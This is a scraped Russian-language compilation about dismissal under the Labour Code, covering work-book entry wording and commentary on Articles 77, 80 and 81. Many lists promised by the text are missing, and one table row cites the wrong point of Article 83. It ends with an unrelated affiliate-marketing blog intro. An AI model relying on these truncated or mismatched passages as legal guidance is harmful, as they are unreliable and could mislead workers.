Трудовой договор прекращен в связи с переводом работника с его согласия на работу в Общество с ограниченной ответственностью «Каркас», пункт 5 части первой статьи 77 Трудового кодекса Российской Федерации | |
п. 6 ст. 77 | Трудовой договор прекращен ввиду отказа работника от продолжения работы в связи со сменой собственника имущества организации, пункт 6 части первой статьи 77 Трудового кодекса Российской Федерации |
Трудовой договор прекращен ввиду отказа работника от продолжения работы в связи с изменением подведомственности организации, пункт 6 части первой статьи 77 Трудового кодекса Российской Федерации | |
Трудовой договор прекращен ввиду отказа работника от продолжения работы в связи с реорганизацией организации, пункт 6 части первой статьи 77 Трудового кодекса Российской Федерации | |
п. 7 ст. 77 | Трудовой договор прекращен ввиду отказа работника от продолжения работы в связи с изменением определенных сторонами условий трудового договора, пункт 7 части первой статьи 77 Трудового кодекса Российской Федерации |
п. 8 ст. 77 | Трудовой договор прекращен в связи с отказом работника от перевода на другую работу, необходимую ему в соответствии с медицинским заключением, пункт 8 части первой статьи 77 Трудового кодекса Российской Федерации |
п. 9 ст. 77 | Трудовой договор прекращен в связи с отказом работника от перевода на работу в другую местность вместе с работодателем, пункт 9 части первой статьи 77 Трудового кодекса Российской Федерации |
п. 11 ст. 77 | Трудовой договор прекращен в связи с нарушением установленных Трудовым кодексом правил заключения трудового договора, пункт 11 части первой статьи 77 Трудового кодекса Российской Федерации |
ст. 71 | Трудовой договор расторгнут по инициативе работодателя в связи с неудовлетворительным результатом испытания, часть первая статьи 71 Трудового кодекса Российской Федерации |
п. 1 ст. 81 | Трудовой договор расторгнут по инициативе работодателя в связи с ликвидацией организации, пункт 1 части первой статьи 81 Трудового кодекса Российской Федерации |
Трудовой договор расторгнут по инициативе работодателя в связи с прекращением деятельности индивидуальным предпринимателем, пункт 1 части первой статьи 81 Трудового кодекса Российской Федерации | |
п. 2 ст. 81 | Трудовой договор расторгнут по инициативе работодателя в связи с сокращением численности работников организации, пункт 2 части первой статьи 81 Трудового кодекса Российской Федерации |
п. 3 ст. 81 | Трудовой договор расторгнут по инициативе работодателя в связи с несоответствием работника занимаемой должности вследствие недостаточной квалификации, подтвержденной результатами аттестации, пункт 3 части первой статьи 81 Трудового кодекса Российской Федерации |
Трудовой договор расторгнут по инициативе работодателя в связи с несоответствием работника выполняемой работе вследствие недостаточной квалификации, подтвержденной результатами аттестации, пункт 3 части первой статьи 81 Трудового кодекса Российской Федерации | |
п. 4 ст. 81 | Трудовой договор расторгнут по инициативе работодателя в связи со сменой собственника имущества организации, пункт 4 части первой статьи 81 Трудового кодекса Российской Федерации |
п. 5 ст. 81 | Трудовой договор расторгнут по инициативе работодателя в связи с неоднократным неисполнением работником без уважительных причин трудовых обязанностей, пункт 5 части первой статьи 81 Трудового кодекса Российской Федерации |
подп. а п. 6 ст. 81 | Трудовой договор расторгнут по инициативе работодателя в связи с прогулом, подпункт «а» пункта 6 части первой статьи 81 Трудового кодекса Российской Федерации |
подп. б п. 6 ст. 81 | Трудовой договор расторгнут по инициативе работодателя в связи с появлением работника на работе в состоянии алкогольного опьянения, подпункт «б» пункта 6 части первой статьи 81 Трудового кодекса Российской Федерации |
подп. в п. 6 ст. 81 | Трудовой договор расторгнут по инициативе работодателя ввиду разглашения государственной тайны, ставшей известной работнику в связи с исполнением трудовых обязанностей, подпункт «в» пункта 6 части первой статьи 81 Трудового кодекса Российской Федерации |
Трудовой договор расторгнут по инициативе работодателя ввиду разглашения коммерческой тайны, ставшей известной работнику в связи с исполнением трудовых обязанностей, подпункт «в» пункта 6 части первой статьи 81 Трудового кодекса Российской Федерации | |
Трудовой договор расторгнут по инициативе работодателя ввиду разглашения служебной тайны, ставшей известной работнику в связи с исполнением трудовых обязанностей, подпункт «в» пункта 6 части первой статьи 81 Трудового кодекса Российской Федерации | |
подп. г п. 6 ст. 81 | Трудовой договор расторгнут по инициативе работодателя в связи с совершением по месту работы хищения чужого имущества, установленного вступившим в законную силу приговором суда, подпункт «г» пункта 6 части первой статьи 81 Трудового кодекса Российской Федерации |
Трудовой договор расторгнут по инициативе работодателя в связи с совершением по месту работы повреждения чужого имущества, установленного вступившим в законную силу приговором суда, подпункт «г» пункта 6 части первой статьи 81 Трудового кодекса Российской Федерации | |
подп. д п. 6 ст. 81 | Трудовой договор расторгнут по инициативе работодателя в связи с нарушением работником требований по охране труда, повлекшим тяжкие последствия, подпункт «д» пункта 6 части первой статьи 81 Трудового кодекса Российской Федерации |
Трудовой договор расторгнут по инициативе работодателя в связи с нарушением работником требований по охране труда, создавшим реальную угрозу наступления тяжких последствий, подпункт «д» пункта 6 части первой статьи 81 Трудового кодекса Российской Федерации | |
п. 7 ст. 81 | Трудовой договор расторгнут по инициативе работодателя в связи с совершением виновных действий работником, непосредственно обслуживающим денежные ценности, что дало основание для утраты доверия к нему со стороны работодателя, пункт 7 части первой статьи 81 Трудового кодекса Российской Федерации |
п. 8 ст. 81 | Трудовой договор расторгнут по инициативе работодателя в связи с совершением работником, выполняющим воспитательные функции, аморального проступка, несовместимого с продолжением данной работы, пункт 8 части первой статьи 81 Трудового кодекса Российской Федерации |
п. 9 ст. 81 | Трудовой договор расторгнут по инициативе работодателя в связи с принятием необоснованного решения, повлекшего за собой нарушение сохранности имущества организации, пункт 9 части первой статьи 81 Трудового кодекса Российской Федерации |
п. 10 ст. 81 | Трудовой договор расторгнут по инициативе работодателя в связи с однократным грубым нарушением трудовых обязанностей, пункт 10 части первой статьи 81 Трудового кодекса Российской Федерации |
п. 11 ст. 81 | Трудовой договор расторгнут по инициативе работодателя в связи с представлением работником работодателю подложных документов при заключении трудового договора, пункт 11 части первой статьи 81 Трудового кодекса Российской Федерации |
п. 1 ст. 83 | Трудовой договор прекращен по обстоятельствам, не зависящим от воли сторон, в связи с призывом работника на военную службу, пункт 1 части первой статьи 83 Трудового кодекса Российской Федерации |
Трудовой договор прекращен по обстоятельствам, не зависящим от воли сторон, в связи с направлением работника на альтернативную гражданскую службу, пункт 1 части первой статьи 83 Трудового кодекса Российской Федерации | |
п. 2 ст. 83 | Трудовой договор прекращен по обстоятельствам, не зависящим от воли сторон, в связи с восстановлением на работе работника, ранее выполнявшего эту работу, по решению государственной инспекции труда, пункт 2 части первой статьи 83 Трудового кодекса Российской Федерации |
Трудовой договор прекращен по обстоятельствам, не зависящим от воли сторон, в связи с восстановлением на работе работника, ранее выполнявшего эту работу, по решению суда, пункт 2 части первой статьи 83 Трудового кодекса Российской Федерации | |
п. 3 ст. 83 | Трудовой договор прекращен по обстоятельствам, не зависящим от воли сторон, в связи с неизбранием на должность, пункт 3 части первой статьи 83 Трудового кодекса Российской Федерации |
п. 4 ст. 83 | Трудовой договор прекращен по обстоятельствам, не зависящим от воли сторон, в связи с осуждением работника к наказанию, исключающему продолжение прежней работы, в соответствии с приговором суда, вступившим в законную силу, пункт 4 части первой статьи 83 Трудового кодекса Российской Федерации |
п. 5 ст. 83 | Трудовой договор прекращен по обстоятельствам, не зависящим от воли сторон, в связи с признанием работника полностью неспособным к трудовой деятельности в соответствии с медицинским заключением, пункт 5 части первой статьи 83 Трудового кодекса Российской Федерации |
п. 6 ст. 83 | Трудовой договор прекращен по обстоятельствам, не зависящим от воли сторон, в связи со смертью работника, пункт 6 части первой статьи 83 Трудового кодекса Российской Федерации |
п. 8 ст. 83 | Трудовой договор прекращен по обстоятельствам, не зависящим от воли сторон, в связи с дисквалификацией, исключающей возможность исполнения работником обязанностей по трудовому договору, пункт 8 части первой статьи 83 Трудового кодекса Российской Федерации |
п. 9 ст. 83 | Трудовой договор прекращен по обстоятельствам, не зависящим от воли сторон, в связи с лишением работника специального права на управление транспортным средством, что повлекло за собой невозможность исполнения работником обязанностей по трудовому договору, пункт 9 части первой статьи 83 Трудового кодекса Российской Федерации |
п. 10 ст. 83 | Трудовой договор прекращен по обстоятельствам, не зависящим от воли сторон, в связи с прекращением допуска к государственной тайне, пункт 10 части первой статьи 83 Трудового кодекса Российской Федерации |
п. 11 ст. 83 | Трудовой договор прекращен по обстоятельствам, не зависящим от воли сторон, в связи с отменой решения суда о восстановлении работника на работе, пункт 11 части первой статьи 83 Трудового кодекса Российской Федерации |
Трудовой договор прекращен по обстоятельствам, не зависящим от воли сторон, в связи с признанием незаконным решения государственной инспекции труда о восстановлении работника на работе, пункт 11 части первой статьи 83 Трудового кодекса Российской Федерации | |
п. 12 ст. 83 | Трудовой договор прекращен по обстоятельствам, не зависящим от воли сторон, в связи с приведением общего количества работников, являющихся иностранными гражданами, в соответствие с допустимой долей таких работников, установленной Постановлением Правительства Российской Федерации от 31.12.2008 г. № 1099, пункт 8 части первой статьи 83 Трудового кодекса Российской Федерации |
www.klerk.ru
По данным статистики, уход по собственному желанию (статья 77 ТК РФ) — самый распространенный вид расторжения сотрудничества. Работники выбирают этот вариант из-за ненадобности писать действительную причину ухода из организации. А работодатели приветствуют: не нужно проводить сложную процедуру расторжения контракта, выплачивать дополнительные компенсации, искать веские основания для упразднения соглашения.
Согласно ТК, для расторжения трудового договора по своей инициативе необходимо:
Законодательство предусматривает возможность уйти в отпуск с последующим расторжением сотрудничества.
При расторжении ТД работодатель проводит мероприятия:
В ходе увольнения сотрудник может запросить в письменном виде и другую документацию, например, копию приказа о зачислении в штат, справку НДФЛ-2 и прочее. Работодатель обязан выдать требуемые дубликаты, оформленные должным образом.
Процедура увольнения по желанию работника (статья 77 ТК РФ) предписывает подавать заявление за 2 недели до ухода. Если расчет происходит в период испытательного срока, бумагу направляют за 3 дня до даты прекращения сотрудничества. А вот руководители организаций обязаны уведомлять вышестоящее руководство и отдел кадров не менее, чем за месяц до расторжения ТД.
Работодатель не вправе увеличивать сроки отработки, но есть случаи, когда их можно сократить:
Часть 4 ст. 80 Трудового кодекса предусматривает возможность забрать заявление на увольнение в период осуществления отработки.
Представители Роструда дали исчерпывающий ответ:
Исходя из норм закона, правильная запись должна выглядеть: «Уволена по собственному желанию, пункт 3 часть 1 статьи 77 ТК РФ», также можно дополнить причиной расчета — в связи с переездом, учебой. Указание статьи 80 делает сведения о прекращении ТД недействительными.
Заполнение книги учета стажа работника должно осуществляться строго в соответствии с требованиями ТК (ч.5 статьи 84.1) и «Инструкции по заполнению трудовой» и отображать:
Согласно общим правилам ведения кадровой документации, запись производится шариковой ручкой синего, красного или сиреневого цвета. Текст пишут разборчиво и без сокращений. При получении трудовой на руки внимательно изучите отметку об увольнении, если обнаружены неточности — требуйте у кадровиков внести исправления.
Несмотря на то что прекращение деятельности в организации по собственному желанию — простая процедура с точки зрения закона, практика показывает, что часто возникают трудности. Давайте рассмотрим наиболее частые и найдем способ решения:
Многие не отстаивают свои права в суде, боясь больших издержек. По статье 393 ТК, все расходы по ведению дела оплачивает работодатель, если суд признает действия руководителя незаконными. Работника восстановят в должности и выплатят компенсацию.
С отзывом заявления тоже есть нюансы. Работодатель вправе отказать в отзыве, если на должность увольняющего уже найден сотрудник, который переводится на работу из другого учреждения.
Если вы оформляете отпуск, а потом планируете уволиться, помните, что отозвать заявление об уходе можно только до начала отпуска (ст. 127 ТК).
Конституция гарантирует право на труд, а Трудовой кодекс закрепляет право работника уволиться по собственному желанию без объяснения причин. Для прекращения трудовой деятельности достаточно правильно составить заявление и соблюсти формальности, предусмотренные законодательством.
Для работодателя такая форма расторжения ТД не обременительна: не нужно собирать доказательства несоответствия работника или составлять внутреннюю документацию о прогулах или дисциплинарных нарушениях, применяя специальную процедуру увольнения.
ktovdele.ru
Работник имеет право расторгнуть трудовой договор, предупредив об этом работодателя в письменной форме не позднее чем за две недели, если иной срок не установлен настоящим Кодексом или иным федеральным законом. Течение указанного срока начинается на следующий день после получения работодателем заявления работника об увольнении.
По соглашению между работником и работодателем трудовой договор может быть расторгнут и до истечения срока предупреждения об увольнении.
В случаях, когда заявление работника об увольнении по его инициативе (по собственному желанию) обусловлено невозможностью продолжения им работы (зачисление в образовательную организацию, выход на пенсию и другие случаи), а также в случаях установленного нарушения работодателем трудового законодательства и иных нормативных правовых актов, содержащих нормы трудового права, локальных нормативных актов, условий коллективного договора, соглашения или трудового договора работодатель обязан расторгнуть трудовой договор в срок, указанный в заявлении работника.
До истечения срока предупреждения об увольнении работник имеет право в любое время отозвать свое заявление. Увольнение в этом случае не производится, если на его место не приглашен в письменной форме другой работник, которому в соответствии с настоящим Кодексом и иными федеральными законами не может быть отказано в заключении трудового договора.
По истечении срока предупреждения об увольнении работник имеет право прекратить работу. В последний день работы работодатель обязан выдать работнику трудовую книжку, другие документы, связанные с работой, по письменному заявлению работника и произвести с ним окончательный расчёт.
Если по истечении срока предупреждения об увольнении трудовой договор не был расторгнут и работник не настаивает на увольнении, то действие трудового договора продолжается.
dogovor-urist.ru
СТ 80 ТК РФ.
Работник имеет право расторгнуть трудовой договор, предупредив об этом работодателя в письменной форме не позднее чем за две недели, если иной срок не установлен настоящим Кодексом или иным федеральным законом. Течение указанного срока начинается на следующий день после получения работодателем заявления работника об увольнении.
По соглашению между работником и работодателем трудовой договор может быть расторгнут и до истечения срока предупреждения об увольнении.
В случаях, когда заявление работника об увольнении по его инициативе (по собственному желанию) обусловлено невозможностью продолжения им работы (зачисление в образовательную организацию, выход на пенсию и другие случаи), а также в случаях установленного нарушения работодателем трудового законодательства и иных нормативных правовых актов, содержащих нормы трудового права, локальных нормативных актов, условий коллективного договора, соглашения или трудового договора работодатель обязан расторгнуть трудовой договор в срок, указанный в заявлении работника.
До истечения срока предупреждения об увольнении работник имеет право в любое время отозвать свое заявление. Увольнение в этом случае не производится, если на его место не приглашен в письменной форме другой работник, которому в соответствии с настоящим Кодексом и иными федеральными законами не может быть отказано в заключении трудового договора.
Бесплатная юридическая консультация по телефонам:
По истечении срока предупреждения об увольнении работник имеет право прекратить работу. В последний день работы работодатель обязан выдать работнику трудовую книжку, другие документы, связанные с работой, по письменному заявлению работника и произвести с ним окончательный расчет.
Если по истечении срока предупреждения об увольнении трудовой договор не был расторгнут и работник не настаивает на увольнении, то действие трудового договора продолжается.
1. Комментируемая статья 80 ТК регламентирует порядок прекращения по инициативе работника как срочного трудового договора до истечения срока его действия, так и договора, заключенного на неопределенный срок.
2. Волеизъявление работника о прекращении трудового договора должно быть выражено в письменной форме. Все иные формы такого волеизъявления не имеют правового значения. Соответствующая инициатива работника обычно выражается в форме заявления.
На практике нередки случаи, когда работодатель задерживает производство расчета с работником и выдачу ему трудовой книжки, мотивируя это тем, что работник не заполнил так называемый обходной листок, не сдал принятые им материальные ценности и т.п. Такого рода практика не предусматривается законодательством о труде, а потому является незаконной. Более того, по истечении срока предупреждения об увольнении работник вправе прекратить работу, а работодатель обязан выдать ему в день увольнения (последний день работы) трудовую книжку и по письменному заявлению работника копии документов, связанных с работой, а также произвести выплату всех сумм, причитающихся ему от работодателя (см. ст. ст. 62, 140 ТК РФ и комментарий к ним).
3. Прекращение трудового договора по инициативе работника возможно в любое время и без указания причин, послуживших основанием для увольнения. Вместе с тем, если работник считает, что причина, обусловившая его намерение прекратить трудовой договор, является существенной, он может указать ее в своем заявлении об увольнении. Соответственно, эта причина указывается в приказе о прекращении трудового договора, на основании которого делается запись в трудовой книжке работника.
4. Верховный Суд РФ обращает внимание судов на необходимость исходить из того, что расторжение трудового договора по инициативе работника допустимо в случае, когда подача заявления об увольнении являлась добровольным его волеизъявлением. Если истец утверждает, что работодатель вынудил его подать заявление об увольнении по собственному желанию, то это обстоятельство подлежит проверке и обязанность доказать его возлагается на работника (подп. «а» п. 22 Постановления Пленума ВС РФ от 17 марта 2004 г. N 2 «О применении судами Российской Федерации Трудового кодекса Российской Федерации»). Однако не может рассматриваться как принуждение работника к увольнению по собственному желанию угроза работодателя расторгнуть с ним договор по своей инициативе при условии, если у работодателя имелись для этого основания, предусмотренные законом (см. ст. 81 ТК РФ и комментарий к ней).
5. Если до истечения срока предупреждения о прекращении трудового договора работник отказался от увольнения по собственному желанию, он считается не подававшим заявления и не может быть уволен по рассматриваемому основанию. Исключение составляет случай, когда на место увольняющегося работника приглашен в письменной форме другой работник, которому в силу закона не может быть отказано в заключении трудового договора. Формулировка комментируемой статьи 80 ТК РФ вполне однозначна: имеются в виду лишь те случаи, когда на место увольняющегося по собственному желанию работника приглашен, причем в письменной форме, другой работник, т.е. лицо, занятое у другого работодателя, увольняемое в порядке перевода к данному работодателю (см. ст. 72, п. 5 ст. 77 ТК РФ и комментарий к ним). Соответственно, все другие установленные законом гарантии заключения трудового договора (см. ст. 64 ТК РФ и комментарий к ней) на ситуацию, предусмотренную комментируемой статьей, не распространяются. Например, не может быть отказано в аннулировании заявления об увольнении по собственному желанию работнику на том основании, что его должность предполагается заместить женщиной, находящейся в состоянии беременности, которой обещана данная работа.
При предоставлении отпуска с последующим увольнением в случае расторжения трудового договора по инициативе работника этот работник имеет право отозвать свое заявление об увольнении до дня начала отпуска, если на его место не приглашен в порядке перевода другой работник (см. ст. 127 ТК РФ и комментарий к ней). В случае, если в период нахождения в отпуске наступила временная нетрудоспособность работника, а также при наличии других уважительных причин отпуск подлежит продлению на соответствующее число дней (см. ст. 124 ТК РФ и комментарий к ней), при этом днем увольнения считается последний день отпуска. Вместе с тем, если работник настаивает на прекращении трудового договора с первоначально определенной даты, его требование подлежит удовлетворению.
Поскольку закон предусматривает обязательную письменную форму подачи заявления об увольнении по собственному желанию, следует предположить, что в такой же форме должно быть выражено волеизъявление работника об аннулировании этого заявления.
6. Если по истечении срока предупреждения об увольнении трудовой договор не был расторгнут и работник не настаивает на увольнении, то действие договора продолжается. Таким образом, факт истечения срока отработки работником исключает возможность для работодателя расторгнуть трудовой договор по рассматриваемому основанию, если «работник не настаивает на увольнении». Последняя формулировка широка и неопределенна. Следует предположить, что под нее подпадает случай, когда по истечении срока предупреждения об увольнении работник вышел на работу и был к ней допущен (т.е. продолжил выполнение обязанностей по трудовому договору). В то же время ч. 6 комментируемой статьи должна действовать и тогда, когда работник изъявил желание продолжить работу и не был к ней допущен, однако работодатель задержал выдачу трудовой книжки, иных требуемых работником документов, связанных с работой, а также производство расчета с ним.
Формы, в которых работник может «настаивать на увольнении», законом не определены. Наиболее очевидной является прекращение работы по истечении срока предупреждения об увольнении; однако не исключается волеизъявление работника в других формах при продолжении работы. В последнем случае увольнение должно быть осуществлено в иные согласованные сторонами сроки.
Следует иметь в виду, что рассматриваемое требование работника имеет правовое значение лишь на момент истечения срока отработки. Если трудовой договор не был расторгнут по истечении срока отработки, работник продолжил работу, а впоследствии потребовал прекращения с ним трудового договора со ссылкой на ч. 6 комментируемой статьи 80 Трудового кодекса РФ, такое требование не может быть признано правомерным: трудовой договор должен быть прекращен по правилам, установленным комментируемой статьей, в том числе с отработкой установленного срока предупреждения об увольнении.
7. Срок предупреждения работником работодателя о предстоящем увольнении определяется законодательством о труде. В соответствии с комментируемой статьей работник, расторгая трудовой договор, обязан предупредить об этом работодателя в письменной форме не позднее чем за две недели. Следовательно, предупреждение об увольнении по собственному желанию может быть сделано и ранее, чем за две недели.
Временный или сезонный работник должен предупредить об этом работодателя за три дня (см. ст. ст. 292, 296 ТК РФ и комментарий к ним). Такой же срок предусмотрен и при увольнении работника по собственному желанию в период прохождения испытания (см. ст. 71 ТК РФ и комментарий к ней). Руководитель организации имеет право досрочно расторгнуть трудовой договор, предупредив об этом работодателя (собственника) имущества организации не позднее чем за один месяц (см. ст. 280 ТК РФ и комментарий к ней). Истечение срока начинается на следующий день после календарной даты, которой определена подача заявления (см. ст. 14 ТК РФ и комментарий к ней).
Отсутствие работника на работе по уважительным причинам (например, в связи с наступившей временной нетрудоспособностью) не является основанием для продления срока отработки при увольнении по собственному желанию. Вместе с тем отказ работника от увольнения может быть заявлен работником и в период его отсутствия на работе по указанным причинам.
По общему правилу сокращение срока отработки в одностороннем порядке не допускается. Так, если работник оставил работу, не отработав установленный законом срок, то этот факт расценивается как прогул, дающий основание уволить работника по инициативе работодателя (подп. «а» п. 6 ст. 81 ТК РФ). В то же время судебная практика исходит из того, что произвольное, без согласования с работником, сокращение работодателем срока отработки либо увольнение без отработки дает работнику основание требовать восстановления на работе с оплатой времени вынужденного прогула.
Из данного правила предусмотрено одно исключение, когда сокращение срока обусловлено уважительными причинами, перечень которых приведен в ч. 3 комментируемой статьи 80 ТК РФ. В числе таких случаев можно указать поступление работника на военную службу по контракту (см. ст. 83 ТК РФ и комментарий к ней).
Факт нарушения работодателем законов и иных нормативных правовых актов, содержащих нормы трудового права, условий коллективного договора, соглашения или трудового договора, как обстоятельство, обязывающее работодателя расторгнуть трудовой договор в срок, указанный в заявлении работника, может быть установлен, в частности, органами, осуществляющими государственный надзор и контроль за соблюдением трудового законодательства, профессиональными союзами, КТС, судом (подп. «б» п. 22 Постановления Пленума ВС РФ от 17 марта 2004 г. N 2). В этих случаях работодатель обязан расторгнуть трудовой договор в срок, о котором просит работник.
Во всех остальных случаях относительно прекращения трудового договора по инициативе работника без отработки установленного законом срока либо с сокращением этого срока должно быть достигнуто согласие сторон (подп. «б» п. 22 Постановления Пленума ВС РФ от 17 марта 2004 г. N 2). Оно может быть выражено в форме письменного заявления работника об увольнении по собственному желанию с указанием в нем условия об увольнении без отработки или с сокращенным сроком отработки либо соответствующего приказа работодателя, содержащего подпись увольняющегося работника. Поскольку ТК РФ не предусматривает форму соглашения работника и работодателя относительно срока отработки при увольнении по собственному желанию, такое соглашение может быть достигнуто и в устной форме. Однако следует учитывать сложность доказывания наличия указанного соглашения.
8. По общему правилу при наличии другого основания для прекращения трудового договора (например, смена собственника организации (см. ст. 75 ТК РФ и комментарий к ней), переход на работу к другому работодателю или на выборную должность (см. ст. 77 ТК РФ и комментарий к ней), отказ работника от продолжения работы в связи с изменением существенных условий трудового договора (см. ст. 74 ТК РФ и комментарий к ней), отказ от перевода на другую работу в соответствии с медицинским заключением, отказ от перевода в связи с перемещением работодателя в другую местность (см. ст. 72.1 ТК РФ и комментарий к ней)) приоритет должен отдаваться выраженному работником волеизъявлению об увольнении по собственному желанию.
Подача работником письменного заявления об увольнении по собственному желанию не может считаться обстоятельством, исключающим возможность прекращения трудового договора с ним по инициативе работодателя — при наличии к тому установленных законом оснований.
9. Об особенностях прекращения трудового договора со спортсменом по инициативе последнего см. ст. 348.12 ТК РФ и комментарий к ней.
www.trudkod.ru
Право на расторжение трудового договора имеется как у работника, так и у руководства компании. Однако если для первого при инициировании подобной процедуры практически не существует ограничений, и уйти он может практически в любое время, для работодателя увольнение сотрудников связано с определенными сложностями. Дело в том, что рассчитать служащего он может только при наличии одного из оснований, обозначенных в 81 статье ТК РФ.
В отличие от наемного служащего, который, в соответствии с текстом 80 статьи ТК РФ, может потребовать расторжения соглашения о трудовой деятельности в любой момент и, отработав положенные две недели, получить расчет, руководство организации при увольнении сотрудника обязано обозначить конкретную причину. Основания для разрыва трудового контракта, инициированного работодателем, перечислены в 81 статье ТК РФ. Законодательно закреплены основания не случайно.
В тандеме «работник-работодатель» первый априори считается более уязвимой стороной. Поэтому отражение в Трудовом кодексе основных причин увольнения является универсальной защиты интересов наемных служащих.
Содержащиеся в 81 статье ТК РФ поводы, приводящие к увольнению работника, в обязательном порядке должны быть подтверждены задокументированными фактами. Чтобы понять суть каждого основания, следует рассмотреть их в отдельности.
Порядок закрытия организации определен в 61-63 статьях ГК РФ. Основания для ликвидации фирмы обозначены в 61 статье ГК РФ. В их качестве выступает:
При закрытии фирмы все трудящиеся теряют рабочие места. Однако в данном случае у служащих имеются определенные гарантии, так как закон указывает, что первыми получить расчет с компенсацией отработанных дней должны именно увольняемые сотрудники.
По инициативе работодателя список мест на предприятии может сокращаться. Занимающие должности сотрудники подлежат расчету. При этом увольнение производится по определенной градации: в первую очередь с рабочего места снимаются обладающие наименьшей квалификацией и производительностью служащие среди занимающих определенную должность, например, менеджеров. Но если работники по данным критериям равны, то 179 статья ТК РФ устанавливает преимущественное право на сохранение места для следующих категорий:
Если сотрудник не имеет навыков, необходимых для работы на предоставленном месте, он также может попасть под увольнение. Однако прежде чем подписывать приказ, в соответствии с которым будет рассчитан служащий, работодатель должен созвать комиссию для проведения аттестации, призванной подтвердить некомпетентность работника.
Проверка обычно проводится раз в год, однако, при обнаружении недостаточности знаний или появления брака в работе, она может инициироваться досрочно.
В категорию грубых нарушений согласно 81 статье ТК РФ попадают:
При фиксации подобных нарушений закон позволяет работодателю немедленно произвести расчет сотрудника.
Если служащий замечен в многократном неисполнении возложенных на него 21 статьей ТК РФ, трудовым договором и локальными актами фирмы обязанностей, ему также могут отказать в месте. При этом увольнение производится лишь при повторном совершении нарушения работником, имеющим непогашенное дисциплинарное взыскание.
Помимо вышеперечисленных причин, работодатель может произвести увольнение по следующим основаниям:
Некоторые иные причины, позволяющие уволить сотрудника, отражены и в иных положениях трудового законодательства. Дополнительный перечень устанавливают статьи 71, 278, 312.5, 336 ТК РФ.
Также иные действия, приводящие к увольнению, могут быть обозначены непосредственно в трудовом договоре.
Чтобы процедура расчета сотрудника считалась обоснованной, работодатель должен соблюсти требования закона и последовательно выполнить все этапы увольнения.
Увольнение обязательно должно быть подтверждено соответствующим документом. В зависимости от увольнения работника с должности, могут быть использованы следующие бумаги:
Причина увольнения | Оформляемый документ |
Закрытие предприятия | Решение судебного органа или совета учредителей |
Несоответствие должности | Протокол, отражающий принятое аттестационной комиссией решение |
Сокращение штата | Приказ руководителя |
Невыполнение должностных обязанностей | Приказ о дисциплинарном взыскании, либо Представление, написанное непосредственным директором предприятия |
Смена владельца фирмы | Свидетельство, подтверждающее внесение изменений в регистрационные бумаги организации |
Нахождение на рабочем месте в состоянии опьянения | Протокол освидетельствования и акт о совершении нарушения |
Прогул | Акт об отсутствии |
Разглашение тайны | Протокол служебного расследования |
Утрата доверия | Судебное решение |
Нанесение ущерба имуществу фирмы, либо его растрата | Акт проверки, составленный налоговой службой |
Аморальное поведение, хищение имущества | Акт о совершении деяния, повлекшего наступление административной ответственности |
На основании документа, объясняющего, из-за чего увольняется работник, издается приказ о расчете сотрудника. Бумага составляется в соответствии с обязательной формой, принятой Правительством РФ — №Т-8. Если речь идет о расчете нескольких работников, используется приказ, оформленный по шаблону №Т-8(а). В документ вносится:
Заверяется приказ подписью непосредственного директора организации, либо его доверенного лица.
Оформленный документ об увольнении передается в отдел кадров предприятия. Его реквизиты вносятся в специальную книгу учета. С бумаги снимается копия, которая помещается в личное дело увольняемого сотрудника. Еще один экземпляр документа может быть предоставлен непосредственно служащему.
В статье 84.1 ТК РФ содержится положении об обязательном предоставлении приказа об увольнении работнику для ознакомления. При этом последний обязательно должен поставить подпись и обозначить дату прочтения бумаги.
В случае если работник игнорирует необходимость подписать приказ, либо его местонахождение неизвестно, в бумаге проставляется соответствующая отметка.
Если сотрудник не согласен визировать документ, то составляется письменный отказ, который заверяется непосредственно увольняемым и тремя свидетелями.
При увольнении работник претендует на получение компенсационных выплат за неиспользованный отпускной период, а также больничные листы. Они высчитываются на основании специальной записки-расчета, где отражаются неоплаченные дни, либо дополнительное время, которое необходимо отработать.
В день официального увольнения работодатель должен полностью выплатить положенные служащему денежные средства, а также передать находящуюся в личном деле трудовую книжку. Подобное положение зафиксировано в статье 84.1 ТК РФ.
Сведения об увольнении отражаются в учетной документации предприятия, а также в личной карточке работника. Вносятся записи сотрудниками отдела кадров с обязательным заверением подписью увольняемого.
Формулировка причины увольнения, вносимой в трудовую книжку работника, напрямую зависит от предусмотренного 81 статье ТК РФ основания. В общем виде она выглядят так:
Если в качестве обоснования увольнения выступает закрытие фирмы или сокращение, руководство должно заблаговременно уведомить об этом работника. Законодательно установлено, что сообщить о ликвидации организации и сокращении нужно за 2 месяца до увольнения.
При смене штата из-за прихода нового директора, увольнение нанятых предшественником сотрудников осуществляется в трехмесячный срок, исчисляемый со дня вступления в должность действующего руководства.
В отличие от случаев расчета по согласию сторон или по заявлению самого сотрудника, увольнение по инициативе работодателя не влечет за собой необходимость отработки. По факту день разрыва трудового договора считается последним рабочим днем служащего.
При увольнении, инициированном руководством организации, согласно 127 статье ТК РФ, в первую очередь необходимо компенсировать положенные работнику отпускные дни, которые не были использованы в период действия трудового договора. Также производится полный расчет с сотрудником за отработанное время.
Дальнейшие выплаты зависят от причины увольнения. На определенную компенсацию претендуют служащие, расторжение трудового договора которых инициировано по причине закрытия организации, либо в связи с сокращением штата.
Статья 178 ТК РФ устанавливает необходимость перевода работнику суммы, равной среднемесячному заработку. В дальнейшем уволенный может в течение 2 месяцев претендовать на получение средней зарплаты, в случае, если трудоустроиться за данный период времени не удалось.
Работодатель сможет рассчитать по своему желанию далеко не всех сотрудников. Законодательно от увольнения защищены следующие граждане:
Во всех случаях имеется и исключение. Увольнение может производиться в случае, если фирма прекращает свое существование.
Если сотрудник считает причину, повлекшую увольнение, незаконной, он может опротестовать приказ о расчете, обратившись:
Прежде чем обращаться в такие инстанции как прокуратура или суд, нужно обязательно предпринять попытку мирного урегулирования.
У вас остались вопросы?
Вы дежурному юристуЮрист анализирует ваш вопрос
Юрист связывается с вами
Ваш вопрос решен!
Приемущества:
15
минут — средняя
скорость ответа
30
консультации
сегодня
11578
консультаций
проведено всего
pro-uvolnenie.ru
Привет, друзья! Спасибо, что выбрали мой блог, эту статью, и, кстати, не зря, потому что именно в ней вы найдете то, что вам поможет, в первую очередь, продвинуть свои партнерские ссылки и заработать на этом деньги. Также вы узнаете как рекламировать партнерские программы и как их продвигать в интернете. Я сама когда-то столкнулась с этой проблемой, когда начала изучать партнерские программы.
Я настолько увлеклась этой темой, настолько она мне нравилась, что я как умалишенная начала скупать все курсы, чтобы узнать всё, что только можно. И сегодня хочу поделиться с вами той информацией, которая в свое время помогла мне и поможет и вам.
